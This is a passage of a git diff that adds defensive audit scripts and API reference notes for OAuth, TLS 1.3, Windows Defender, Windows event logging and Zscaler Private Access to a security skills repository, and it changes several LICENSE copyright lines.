config.get("supported_response_types", []): + if "code id_token" not in config.get("supported_response_types", []): + findings.append({ + "issue": "Authorization code flow available", + "severity": "INFO", + "note": "Ensure PKCE is enforced for public clients", + }) + return findings + + +def test_token_endpoint(token_url, client_id, client_secret, grant_type="client_credentials"): + """Test token endpoint with client credentials.""" + try: + resp = requests.post(token_url, data={ + "grant_type": grant_type, + "client_id": client_id, + "client_secret": client_secret, + }, timeout=10) + if resp.status_code == 200: + token_data = resp.json() + return { + "status": "success", + "token_type": token_data.get("token_type", ""), + "expires_in": token_data.get("expires_in", 0), + "scope": token_data.get("scope", ""), + } + return {"status": "failed", "code": resp.status_code, "body": resp.text[:200]} + except Exception as e: + return {"status": "error", "message": str(e)} + + +def run_audit(issuer_url, client_id=None, client_secret=None): + """Execute OAuth 2.0 security audit.""" + print(f"\n{'='*60}") + print(f" OAUTH 2.0 AUTHORIZATION FLOW AUDIT") + print(f" Issuer: {issuer_url}") + print(f" Generated: {datetime.utcnow().isoformat()} UTC") + print(f"{'='*60}\n") + + config = discover_oauth_endpoints(issuer_url) + if "error" in config: + print(f" Error: {config['error']}") + return config + + print(f"--- DISCOVERED ENDPOINTS ---") + print(f" Authorization: {config.get('authorization_endpoint', 'N/A')}") + print(f" Token: {config.get('token_endpoint', 'N/A')}") + print(f" JWKS: {config.get('jwks_uri', 'N/A')}") + print(f" Grant types: {config.get('supported_grant_types', [])}") + + findings = audit_oauth_security(config) + print(f"\n--- SECURITY FINDINGS ({len(findings)}) ---") + for f in findings: + print(f" [{f['severity']}] {f['issue']}") + + token_test = {} + if client_id and client_secret and config.get("token_endpoint"): + token_test = test_token_endpoint(config["token_endpoint"], client_id, client_secret) + print(f"\n--- TOKEN ENDPOINT TEST ---") + print(f" Status: {token_test.get('status', 'N/A')}") + + return {"config": config, "findings": findings, "token_test": token_test} + + +def main(): + parser = argparse.ArgumentParser(description="OAuth 2.0 Audit Agent") + parser.add_argument("--issuer", required=True, help="OAuth issuer URL") + parser.add_argument("--client-id", help="Client ID for token test") + parser.add_argument("--client-secret", help="Client secret for token test") + parser.add_argument("--output", help="Save report to JSON file") + args = parser.parse_args() + + report = run_audit(args.issuer, args.client_id, args.client_secret) + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"\n[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/configuring-pfsense-firewall-rules/LICENSE b/skills/configuring-pfsense-firewall-rules/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/configuring-pfsense-firewall-rules/LICENSE +++ b/skills/configuring-pfsense-firewall-rules/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/configuring-snort-ids-for-intrusion-detection/LICENSE b/skills/configuring-snort-ids-for-intrusion-detection/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/configuring-snort-ids-for-intrusion-detection/LICENSE +++ b/skills/configuring-snort-ids-for-intrusion-detection/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/configuring-suricata-for-network-monitoring/LICENSE b/skills/configuring-suricata-for-network-monitoring/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/configuring-suricata-for-network-monitoring/LICENSE +++ b/skills/configuring-suricata-for-network-monitoring/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/configuring-tls-1-3-for-secure-communications/LICENSE b/skills/configuring-tls-1-3-for-secure-communications/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/configuring-tls-1-3-for-secure-communications/LICENSE +++ b/skills/configuring-tls-1-3-for-secure-communications/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/configuring-tls-1-3-for-secure-communications/references/api-reference.md b/skills/configuring-tls-1-3-for-secure-communications/references/api-reference.md new file mode 100644 index 00000000..43c0a39f --- /dev/null +++ b/skills/configuring-tls-1-3-for-secure-communications/references/api-reference.md @@ -0,0 +1,42 @@ +# TLS 1.3 Configuration — API Reference + +## Libraries + +| Library | Install | Purpose | +|---------|---------|---------| +| cryptography | `pip install cryptography` | X.509 certificate parsing | +| ssl | stdlib | TLS connection testing | +| sslyze | `pip install sslyze` | Comprehensive TLS/SSL scanner | + +## Python ssl Module Methods + +| Method | Description | +|--------|-------------| +| `ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)` | Create TLS client context | +| `ctx.minimum_version = ssl.TLSVersion.TLSv1_3` | Set minimum TLS version | +| `ctx.wrap_socket(sock, server_hostname=)` | Wrap socket with TLS | +| `ssock.cipher()` | Get negotiated cipher tuple | +| `ssock.getpeercert(binary_form=True)` | Get server certificate DER bytes | + +## TLS 1.3 Cipher Suites + +| Cipher Suite | Security | +|-------------|----------| +| TLS_AES_256_GCM_SHA384 | Recommended | +| TLS_AES_128_GCM_SHA256 | Recommended | +| TLS_CHACHA20_POLY1305_SHA256 | Recommended (mobile) | + +## Deprecated Versions + +| Version | Status | Risk | +|---------|--------|------| +| SSL 3.0 | Deprecated (RFC 7568) | POODLE attack | +| TLS 1.0 | Deprecated (RFC 8996) | BEAST, CRIME | +| TLS 1.1 | Deprecated (RFC 8996) | Weak ciphers | + +## External References + +- [RFC 8446 TLS 1.3](https://datatracker.ietf.org/doc/html/rfc8446) +- [Mozilla SSL Configuration Generator](https://ssl-config.mozilla.org/) +- [sslyze Documentation](https://nabla-c0d3.github.io/sslyze/documentation/) +- [cryptography.io Docs](https://cryptography.io/) diff --git a/skills/configuring-tls-1-3-for-secure-communications/scripts/agent.py b/skills/configuring-tls-1-3-for-secure-communications/scripts/agent.py new file mode 100644 index 00000000..5dc639eb --- /dev/null +++ b/skills/configuring-tls-1-3-for-secure-communications/scripts/agent.py @@ -0,0 +1,141 @@ +#!/usr/bin/env python3 +"""TLS 1.3 configuration audit agent using ssl and cryptography libraries.""" + +import json +import sys +import argparse +import ssl +import socket +from datetime import datetime + +try: + from cryptography import x509 + from cryptography.hazmat.primitives import hashes +except ImportError: + print("Install: pip install cryptography") + sys.exit(1) + + +def check_tls_versions(host, port=443): + """Check supported TLS versions on a server.""" + results = {} + protocols = { + "TLSv1.0": ssl.TLSVersion.TLSv1 if hasattr(ssl.TLSVersion, 'TLSv1') else None, + "TLSv1.1": ssl.TLSVersion.TLSv1_1 if hasattr(ssl.TLSVersion, 'TLSv1_1') else None, + "TLSv1.2": ssl.TLSVersion.TLSv1_2, + "TLSv1.3": ssl.TLSVersion.TLSv1_3, + } + for version_name, version in protocols.items(): + if version is None: + results[version_name] = {"supported": False, "note": "Not available in this Python build"} + continue + try: + ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) + ctx.check_hostname = False + ctx.verify_mode = ssl.CERT_NONE + ctx.minimum_version = version + ctx.maximum_version = version + with socket.create_connection((host, port), timeout=5) as sock: + with ctx.wrap_socket(sock, server_hostname=host) as ssock: + results[version_name] = { + "supported": True, + "cipher": ssock.cipher()[0], + "severity": "CRITICAL" if "1.0" in version_name or "1.1" in version_name else "INFO", + } + except (ssl.SSLError, ConnectionRefusedError, socket.timeout, OSError): + results[version_name] = {"supported": False} + return results + + +def get_certificate_info(host, port=443): + """Retrieve and analyze server certificate.""" + ctx = ssl.create_default_context() + ctx.check_hostname = False + ctx.verify_mode = ssl.CERT_NONE + try: + with socket.create_connection((host, port), timeout=5) as sock: + with ctx.wrap_socket(sock, server_hostname=host) as ssock: + der_cert = ssock.getpeercert(binary_form=True) + cert = x509.load_der_x509_certificate(der_cert) + days_remaining = (cert.not_valid_after_utc.replace(tzinfo=None) - datetime.utcnow()).days + return { + "subject": cert.subject.rfc4514_string(), + "issuer": cert.issuer.rfc4514_string(), + "not_after": str(cert.not_valid_after_utc), + "days_remaining": days_remaining, + "key_size": cert.public_key().key_size, + "signature_algorithm": cert.signature_hash_algorithm.name if cert.signature_hash_algorithm else "unknown", + "issues": [], + } + except Exception as e: + return {"error": str(e)} + + +def check_cipher_suites(host, port=443): + """Check negotiated cipher suites.""" + ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) + ctx.check_hostname = False + ctx.verify_mode = ssl.CERT_NONE + try: + with socket.create_connection((host, port), timeout=5) as sock: + with ctx.wrap_socket(sock, server_hostname=host) as ssock: + cipher = ssock.cipher() + return { + "negotiated_cipher": cipher[0], + "protocol": cipher[1], + "bits": cipher[2], + "tls13_ciphers": ["TLS_AES_256_GCM_SHA384", "TLS_AES_128_GCM_SHA256", + "TLS_CHACHA20_POLY1305_SHA256"], + } + except Exception as e: + return {"error": str(e)} + + +def run_audit(host, port=443): + """Execute TLS 1.3 configuration audit.""" + print(f"\n{'='*60}") + print(f" TLS 1.3 CONFIGURATION AUDIT") + print(f" Target: {host}:{port}") + print(f" Generated: {datetime.utcnow().isoformat()} UTC") + print(f"{'='*60}\n") + + versions = check_tls_versions(host, port) + print(f"--- TLS VERSION SUPPORT ---") + for ver, info in versions.items(): + status = "SUPPORTED" if info.get("supported") else "NOT SUPPORTED" + sev = info.get("severity", "") + print(f" {ver}: {status} {f'[{sev}]' if sev else ''}") + + cert = get_certificate_info(host, port) + print(f"\n--- CERTIFICATE ---") + if "error" not in cert: + print(f" Subject: {cert['subject']}") + print(f" Issuer: {cert['issuer']}") + print(f" Expires: {cert['not_after']} ({cert['days_remaining']} days)") + print(f" Key size: {cert['key_size']}") + + cipher = check_cipher_suites(host, port) + print(f"\n--- CIPHER SUITE ---") + if "error" not in cipher: + print(f" Negotiated: {cipher['negotiated_cipher']}") + print(f" Protocol: {cipher['protocol']}") + + return {"versions": versions, "certificate": cert, "cipher": cipher} + + +def main(): + parser = argparse.ArgumentParser(description="TLS 1.3 Audit Agent") + parser.add_argument("--host", required=True, help="Target hostname") + parser.add_argument("--port", type=int, default=443, help="Target port") + parser.add_argument("--output", help="Save report to JSON file") + args = parser.parse_args() + + report = run_audit(args.host, args.port) + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"\n[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/configuring-windows-defender-advanced-settings/LICENSE b/skills/configuring-windows-defender-advanced-settings/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/configuring-windows-defender-advanced-settings/LICENSE +++ b/skills/configuring-windows-defender-advanced-settings/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/configuring-windows-defender-advanced-settings/references/api-reference.md b/skills/configuring-windows-defender-advanced-settings/references/api-reference.md new file mode 100644 index 00000000..c0579d02 --- /dev/null +++ b/skills/configuring-windows-defender-advanced-settings/references/api-reference.md @@ -0,0 +1,36 @@ +# Windows Defender Advanced Settings — API Reference + +## PowerShell Cmdlets + +| Cmdlet | Description | +|--------|-------------| +| `Get-MpComputerStatus` | Defender service status, signature version | +| `Get-MpPreference` | All Defender configuration preferences | +| `Set-MpPreference` | Modify Defender settings | +| `Get-MpThreatDetection` | Recent threat detections | +| `Add-MpPreference -AttackSurfaceReductionRules_Ids` | Enable ASR rules | + +## Critical ASR Rule GUIDs + +| GUID | Rule | +|------|------| +| `be9ba2d9-53ea-4cdc-84e5-9b1eeee46550` | Block executable from email | +| `d4f940ab-401b-4efc-aadc-ad5f3c50688a` | Block Office child processes | +| `3b576869-a4ec-4529-8536-b80a7769e899` | Block Office executable creation | +| `5beb7efe-fd9a-4556-801d-275e5ffc04cc` | Block obfuscated scripts | +| `56a863a9-875e-4185-98a7-b882c64b5ce5` | Block exploited signed drivers | + +## ASR Rule Actions + +| Value | Action | +|-------|--------| +| 0 | Disabled | +| 1 | Block | +| 2 | Audit | +| 6 | Warn | + +## External References + +- [Microsoft ASR Rules Reference](https://learn.microsoft.com/en-us/defender-endpoint/attack-surface-reduction-rules-reference) +- [Defender PowerShell Reference](https://learn.microsoft.com/en-us/powershell/module/defender/) +- [Tamper Protection](https://learn.microsoft.com/en-us/defender-endpoint/prevent-changes-to-security-settings-with-tamper-protection) diff --git a/skills/configuring-windows-defender-advanced-settings/scripts/agent.py b/skills/configuring-windows-defender-advanced-settings/scripts/agent.py new file mode 100644 index 00000000..41f6f223 --- /dev/null +++ b/skills/configuring-windows-defender-advanced-settings/scripts/agent.py @@ -0,0 +1,117 @@ +#!/usr/bin/env python3 +"""Windows Defender advanced configuration audit agent.""" + +import json +import sys +import argparse +import subprocess +from datetime import datetime + + +def get_defender_status(): + """Get Windows Defender status via PowerShell.""" + cmd = ["powershell", "-Command", "Get-MpComputerStatus | ConvertTo-Json"] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=30) + return json.loads(result.stdout) if result.stdout.strip() else {"error": "No output"} + except (FileNotFoundError, json.JSONDecodeError, subprocess.TimeoutExpired) as e: + return {"error": str(e)} + + +def get_defender_preferences(): + """Get Windows Defender preference settings.""" + cmd = ["powershell", "-Command", "Get-MpPreference | ConvertTo-Json"] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=30) + return json.loads(result.stdout) if result.stdout.strip() else {"error": "No output"} + except (FileNotFoundError, json.JSONDecodeError, subprocess.TimeoutExpired) as e: + return {"error": str(e)} + + +def audit_asr_rules(): + """Audit Attack Surface Reduction rules configuration.""" + cmd = ["powershell", "-Command", + "Get-MpPreference | Select-Object -ExpandProperty AttackSurfaceReductionRules_Ids | ConvertTo-Json"] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=30) + rule_ids = json.loads(result.stdout) if result.stdout.strip() else [] + except (FileNotFoundError, json.JSONDecodeError): + rule_ids = [] + critical_asr_rules = { + "be9ba2d9-53ea-4cdc-84e5-9b1eeee46550": "Block executable content from email and webmail", + "d4f940ab-401b-4efc-aadc-ad5f3c50688a": "Block all Office applications from creating child processes", + "3b576869-a4ec-4529-8536-b80a7769e899": "Block Office applications from creating executable content", + "75668c1f-73b5-4cf0-bb93-3ecf5cb7cc84": "Block Office applications from injecting code", + "d3e037e1-3eb8-44c8-a917-57927947596d": "Block JavaScript or VBScript from launching downloaded content", + "5beb7efe-fd9a-4556-801d-275e5ffc04cc": "Block execution of potentially obfuscated scripts", + "92e97fa1-2edf-4476-bdd6-9dd0b4dddc7b": "Block Win32 API calls from Office macros", + "56a863a9-875e-4185-98a7-b882c64b5ce5": "Block abuse of exploited vulnerable signed drivers", + } + configured = set(rule_ids) if isinstance(rule_ids, list) else set() + missing = [] + for rule_id, desc in critical_asr_rules.items(): + if rule_id not in configured: + missing.append({"rule_id": rule_id, "description": desc, "severity": "HIGH"}) + return {"configured_count": len(configured), "missing_critical": missing} + + +def check_tamper_protection(): + """Check tamper protection status.""" + cmd = ["powershell", "-Command", + "(Get-MpComputerStatus).IsTamperProtected"] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=15) + enabled = "true" in result.stdout.strip().lower() + return {"tamper_protection": enabled, + "severity": "CRITICAL" if not enabled else "INFO"} + except (FileNotFoundError, subprocess.TimeoutExpired): + return {"error": "Cannot check tamper protection"} + + +def run_audit(): + """Execute Windows Defender audit.""" + print(f"\n{'='*60}") + print(f" WINDOWS DEFENDER ADVANCED SETTINGS AUDIT") + print(f" Generated: {datetime.utcnow().isoformat()} UTC") + print(f"{'='*60}\n") + + status = get_defender_status() + print(f"--- DEFENDER STATUS ---") + if "error" not in status: + print(f" Real-time protection: {status.get('RealTimeProtectionEnabled', 'N/A')}") + print(f" Behavior monitoring: {status.get('BehaviorMonitorEnabled', 'N/A')}") + print(f" Cloud protection: {status.get('OnAccessProtectionEnabled', 'N/A')}") + print(f" Signature version: {status.get('AntivirusSignatureVersion', 'N/A')}") + + asr = audit_asr_rules() + print(f"\n--- ASR RULES ---") + print(f" Configured: {asr['configured_count']}") + print(f" Missing critical: {len(asr['missing_critical'])}") + for rule in asr["missing_critical"][:5]: + print(f" [{rule['severity']}] {rule['description']}") + + tamper = check_tamper_protection() + print(f"\n--- TAMPER PROTECTION ---") + print(f" Enabled: {tamper.get('tamper_protection', 'N/A')}") + + return {"status": status, "asr": asr, "tamper": tamper} + + +def main(): + parser = argparse.ArgumentParser(description="Windows Defender Audit Agent") + parser.add_argument("--audit", action="store_true", help="Run full audit") + parser.add_argument("--output", help="Save report to JSON file") + args = parser.parse_args() + + if args.audit: + report = run_audit() + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"\n[+] Report saved to {args.output}") + else: + parser.print_help() + + +if __name__ == "__main__": + main() diff --git a/skills/configuring-windows-event-logging-for-detection/LICENSE b/skills/configuring-windows-event-logging-for-detection/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/configuring-windows-event-logging-for-detection/LICENSE +++ b/skills/configuring-windows-event-logging-for-detection/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/configuring-windows-event-logging-for-detection/references/api-reference.md b/skills/configuring-windows-event-logging-for-detection/references/api-reference.md new file mode 100644 index 00000000..e0cd0148 --- /dev/null +++ b/skills/configuring-windows-event-logging-for-detection/references/api-reference.md @@ -0,0 +1,42 @@ +# Windows Event Logging for Detection — API Reference + +## Key PowerShell Cmdlets + +| Cmdlet | Description | +|--------|-------------| +| `auditpol /get /category:*` | View advanced audit policy | +| `auditpol /set /subcategory:"Process Creation" /success:enable` | Enable audit subcategory | +| `Get-WinEvent -ListLog *` | List available event logs | +| `wevtutil sl Security /ms:1073741824` | Set Security log max size to 1 GB | + +## Critical Event IDs for Detection + +| Event ID | Log | Description | +|----------|-----|-------------| +| 4624/4625 | Security | Successful/failed logon | +| 4662 | Security | Directory service object access | +| 4688 | Security | Process creation (with command line) | +| 4698 | Security | Scheduled task created | +| 4720 | Security | User account created | +| 4732 | Security | Member added to security group | +| 4768/4769 | Security | Kerberos TGT/service ticket | +| 1 | Sysmon | Process creation with hashes | +| 3 | Sysmon | Network connection | +| 7 | Sysmon | Image loaded (DLL) | +| 11 | Sysmon | File creation | +| 4104 | PowerShell | Script block logging | + +## Recommended Log Sizes + +| Log | Minimum Size | +|-----|-------------| +| Security | 1 GB | +| Sysmon/Operational | 512 MB | +| PowerShell/Operational | 256 MB | +| System | 256 MB | + +## External References + +- [Microsoft Audit Policy](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/advanced-security-auditing) +- [Sysmon Configuration](https://github.com/SwiftOnSecurity/sysmon-config) +- [MITRE ATT&CK Data Sources](https://attack.mitre.org/datasources/) diff --git a/skills/configuring-windows-event-logging-for-detection/scripts/agent.py b/skills/configuring-windows-event-logging-for-detection/scripts/agent.py new file mode 100644 index 00000000..a6cee286 --- /dev/null +++ b/skills/configuring-windows-event-logging-for-detection/scripts/agent.py @@ -0,0 +1,145 @@ +#!/usr/bin/env python3 +"""Windows event logging configuration audit agent.""" + +import json +import sys +import argparse +import subprocess +from datetime import datetime + + +CRITICAL_AUDIT_POLICIES = { + "Logon/Logoff": {"Logon": "Success,Failure", "Logoff": "Success"}, + "Account Logon": {"Credential Validation": "Success,Failure", "Kerberos Authentication Service": "Success,Failure"}, + "Object Access": {"File System": "Success,Failure", "Registry": "Success,Failure"}, + "Privilege Use": {"Sensitive Privilege Use": "Success,Failure"}, + "Process Tracking": {"Process Creation": "Success"}, + "DS Access": {"Directory Service Access": "Success,Failure"}, + "Policy Change": {"Audit Policy Change": "Success,Failure", "Authentication Policy Change": "Success"}, +} + + +def get_audit_policy(): + """Get current advanced audit policy configuration.""" + cmd = ["auditpol", "/get", "/category:*"] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=15) + lines = result.stdout.strip().split("\n") + policies = {} + current_category = "" + for line in lines: + stripped = line.strip() + if not stripped or "Machine Name" in stripped or "Category" in stripped: + continue + if not stripped.startswith(" "): + current_category = stripped + policies[current_category] = {} + else: + parts = stripped.rsplit(" ", 1) + if len(parts) == 2: + policies[current_category][parts[0].strip()] = parts[1].strip() + return policies + except (FileNotFoundError, subprocess.TimeoutExpired) as e: + return {"error": str(e)} + + +def check_sysmon_installed(): + """Check if Sysmon is installed and running.""" + cmd = ["powershell", "-Command", "Get-Service Sysmon* | ConvertTo-Json"] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=15) + if result.stdout.strip(): + service = json.loads(result.stdout) + if isinstance(service, list): + service = service[0] + return {"installed": True, "status": service.get("Status", ""), + "name": service.get("Name", "")} + return {"installed": False, "severity": "HIGH", + "recommendation": "Install Sysmon with SwiftOnSecurity config"} + except (FileNotFoundError, json.JSONDecodeError): + return {"installed": False} + + +def check_log_sizes(): + """Check event log maximum sizes.""" + logs = ["Security", "System", "Application", "Microsoft-Windows-Sysmon/Operational", + "Microsoft-Windows-PowerShell/Operational"] + results = [] + for log_name in logs: + cmd = ["powershell", "-Command", + f"(Get-WinEvent -ListLog '{log_name}' -ErrorAction SilentlyContinue).MaximumSizeInBytes"] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=10) + size_bytes = int(result.stdout.strip()) if result.stdout.strip() else 0 + size_mb = round(size_bytes / (1024 * 1024), 1) + results.append({ + "log": log_name, + "max_size_mb": size_mb, + "severity": "MEDIUM" if size_mb < 100 else "INFO", + }) + except (ValueError, subprocess.TimeoutExpired): + results.append({"log": log_name, "error": "Cannot query"}) + return results + + +def check_powershell_logging(): + """Check PowerShell script block logging and transcription.""" + checks = {} + for name, path in [ + ("ScriptBlockLogging", r"HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"), + ("Transcription", r"HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription"), + ]: + cmd = ["powershell", "-Command", f"Get-ItemProperty -Path '{path}' -ErrorAction SilentlyContinue | ConvertTo-Json"] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=10) + checks[name] = json.loads(result.stdout) if result.stdout.strip() else {"enabled": False} + except (json.JSONDecodeError, subprocess.TimeoutExpired): + checks[name] = {"enabled": False} + return checks + + +def run_audit(): + """Execute Windows event logging audit.""" + print(f"\n{'='*60}") + print(f" WINDOWS EVENT LOGGING AUDIT") + print(f" Generated: {datetime.utcnow().isoformat()} UTC") + print(f"{'='*60}\n") + + sysmon = check_sysmon_installed() + print(f"--- SYSMON ---") + print(f" Installed: {sysmon.get('installed', False)}") + print(f" Status: {sysmon.get('status', 'N/A')}") + + logs = check_log_sizes() + print(f"\n--- LOG SIZES ---") + for l in logs: + if "error" not in l: + print(f" {l['log']}: {l['max_size_mb']} MB [{l['severity']}]") + + ps_logging = check_powershell_logging() + print(f"\n--- POWERSHELL LOGGING ---") + for name, config in ps_logging.items(): + enabled = config.get("EnableScriptBlockLogging", config.get("EnableTranscripting", False)) + print(f" {name}: {'Enabled' if enabled else 'Disabled'}") + + return {"sysmon": sysmon, "log_sizes": logs, "powershell": ps_logging} + + +def main(): + parser = argparse.ArgumentParser(description="Windows Event Logging Audit Agent") + parser.add_argument("--audit", action="store_true", help="Run full audit") + parser.add_argument("--output", help="Save report to JSON file") + args = parser.parse_args() + + if args.audit: + report = run_audit() + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"\n[+] Report saved to {args.output}") + else: + parser.print_help() + + +if __name__ == "__main__": + main() diff --git a/skills/configuring-zscaler-private-access-for-ztna/LICENSE b/skills/configuring-zscaler-private-access-for-ztna/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/configuring-zscaler-private-access-for-ztna/LICENSE +++ b/skills/configuring-zscaler-private-access-for-ztna/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/configuring-zscaler-private-access-for-ztna/references/api-reference.md b/skills/configuring-zscaler-private-access-for-ztna/references/api-reference.md new file mode 100644 index 00000000..60dbe060 --- /dev/null +++ b/skills/configuring-zscaler-private-access-for-ztna/references/api-reference.md @@ -0,0 +1,35 @@ +# Zscaler Private Access ZTNA — API Reference + +## Libraries + +| Library | Install | Purpose | +|---------|---------|---------| +| requests | `pip install requests` | ZPA REST API client | +| zscaler-sdk-python | `pip install zscaler-sdk-python` | Official Zscaler Python SDK | + +## ZPA API Endpoints + +| Method | Endpoint | Description | +|--------|----------|-------------| +| POST | `/signin` | Authenticate and get bearer token | +| GET | `/mgmtconfig/v1/admin/customers/{id}/application` | List app segments | +| GET | `/mgmtconfig/v1/admin/customers/{id}/connector` | List app connectors | +| GET | `/mgmtconfig/v1/admin/customers/{id}/serverGroup` | List server groups | +| GET | `/mgmtconfig/v1/admin/customers/{id}/policySet/rules` | List access policies | +| GET | `/mgmtconfig/v1/admin/customers/{id}/segmentGroup` | List segment groups | + +## Key ZPA Concepts + +| Component | Description | +|-----------|-------------| +| App Segment | Application definition with domain/IP and port ranges | +| App Connector | On-premise agent that brokers connections to apps | +| Server Group | Group of application servers behind connectors | +| Access Policy | Rules defining who can access which app segments | +| Segment Group | Logical grouping of app segments | + +## External References + +- [ZPA API Documentation](https://help.zscaler.com/zpa/api) +- [Zscaler SDK Python](https://github.com/zscaler/zscaler-sdk-python) +- [ZPA Admin Guide](https://help.zscaler.com/zpa) diff --git a/skills/configuring-zscaler-private-access-for-ztna/scripts/agent.py b/skills/configuring-zscaler-private-access-for-ztna/scripts/agent.py new file mode 100644 index 00000000..d0b23a19 --- /dev/null +++ b/skills/configuring-zscaler-private-access-for-ztna/scripts/agent.py @@ -0,0 +1,127 @@ +#!/usr/bin/env python3 +"""Zscaler Private Access (ZPA) ZTNA audit agent using ZPA API.""" + +import json +import sys +import argparse +from datetime import datetime + +try: + import requests +except ImportError: + print("Install: pip install requests") + sys.exit(1) + + +class ZPAClient: + """Zscaler Private Access API client.""" + + def __init__(self, client_id, client_secret, customer_id): + self.base_url = "https://config.private.zscaler.com" + self.customer_id = customer_id + self.token = self._authenticate(client_id, client_secret) + + def _authenticate(self, client_id, client_secret): + resp = requests.post(f"{self.base_url}/signin", json={ + "client_id": client_id, "client_secret": client_secret, + }) + resp.raise_for_status() + return resp.json()["token"] + + def _get(self, endpoint): + resp = requests.get(f"{self.base_url}/mgmtconfig/v1/admin/customers/{self.customer_id}/{endpoint}", + headers={"Authorization": f"Bearer {self.token}"}) + resp.raise_for_status() + return resp.json() + + def list_app_segments(self): + return self._get("application") + + def list_server_groups(self): + return self._get("serverGroup") + + def list_app_connectors(self): + return self._get("connector") + + def list_access_policies(self): + return self._get("policySet/rules") + + def list_segment_groups(self): + return self._get("segmentGroup") + + +def audit_zpa_config(client): + """Audit ZPA configuration for security posture.""" + findings = [] + apps = client.list_app_segments() + for app in apps.get("list", []): + if not app.get("enabled"): + findings.append({ + "type": "disabled_app_segment", + "name": app.get("name", ""), + "severity": "LOW", + }) + if app.get("bypassType") == "ALWAYS": + findings.append({ + "type": "bypass_enabled", + "name": app.get("name", ""), + "severity": "HIGH", + "recommendation": "Remove bypass to enforce ZPA inspection", + }) + connectors = client.list_app_connectors() + for conn in connectors.get("list", []): + if conn.get("runtimeStatus") != "running": + findings.append({ + "type": "connector_down", + "name": conn.get("name", ""), + "status": conn.get("runtimeStatus", ""), + "severity": "CRITICAL", + }) + return findings + + +def run_audit(client_id, client_secret, customer_id): + """Execute ZPA ZTNA audit.""" + client = ZPAClient(client_id, client_secret, customer_id) + print(f"\n{'='*60}") + print(f" ZSCALER PRIVATE ACCESS ZTNA AUDIT") + print(f" Generated: {datetime.utcnow().isoformat()} UTC") + print(f"{'='*60}\n") + + apps = client.list_app_segments() + app_list = apps.get("list", []) + print(f"--- APPLICATION SEGMENTS ({len(app_list)}) ---") + for a in app_list[:10]: + print(f" {a.get('name', '')}: enabled={a.get('enabled', '')} bypass={a.get('bypassType', '')}") + + connectors = client.list_app_connectors() + conn_list = connectors.get("list", []) + print(f"\n--- APP CONNECTORS ({len(conn_list)}) ---") + for c in conn_list[:10]: + print(f" {c.get('name', '')}: {c.get('runtimeStatus', '')}") + + findings = audit_zpa_config(client) + print(f"\n--- AUDIT FINDINGS ({len(findings)}) ---") + for f in findings: + print(f" [{f['severity']}] {f['type']}: {f.get('name', '')}") + + return {"apps": len(app_list), "connectors": len(conn_list), "findings": findings} + + +def main(): + parser = argparse.ArgumentParser(description="ZPA ZTNA Audit Agent") + parser.add_argument("--client-id", required=True, help="ZPA API client ID") + parser.add_argument("--client-secret", required=True, help="ZPA API client secret") + parser.add_argument("--customer-id", required=True, help="ZPA customer ID") + parser.add_argument("--output", help="Save report to JSON file") + args = parser.parse_args() + + report = run_audit(args.client_id, args.client_secret, args.customer_id) + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"\n[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/containing-active-breach/LICENSE b/skills/containing-active-breach/LICENSE index 27f5a0fe..09d37ad6 100644 --- 